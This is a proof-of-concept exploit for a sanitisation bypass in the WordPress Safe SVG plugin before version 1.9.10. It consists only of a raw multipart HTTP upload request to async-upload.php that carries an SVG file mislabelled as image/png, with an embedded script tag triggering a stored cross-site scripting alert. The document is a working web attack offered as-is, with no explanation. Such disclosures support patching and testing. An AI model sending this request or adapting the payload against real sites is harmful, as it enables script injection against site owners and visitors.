Safe SVG < 1.9.10 - SVG Sanitisation Bypass

POST /wp-admin/async-upload.php HTTP/1.1
Accept: */*
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------27451310545300823063986174174
Content-Length: 947
Connection: close
Cookie: [user with upload capability]

-----------------------------27451310545300823063986174174
Content-Disposition: form-data; name="name"

xss.svg
-----------------------------27451310545300823063986174174
Content-Disposition: form-data; name="action"

upload-attachment
-----------------------------27451310545300823063986174174
Content-Disposition: form-data; name="_wpnonce"

b281e72731
-----------------------------27451310545300823063986174174
Content-Disposition: form-data; name="async-upload"; filename="xss.svg"
Content-Type: image/png

<?xml version="1.0" standalone="no"?> <!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
  <polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>
  <script type="text/javascript">alert(/XSS/);</script>
</svg>

-----------------------------27451310545300823063986174174--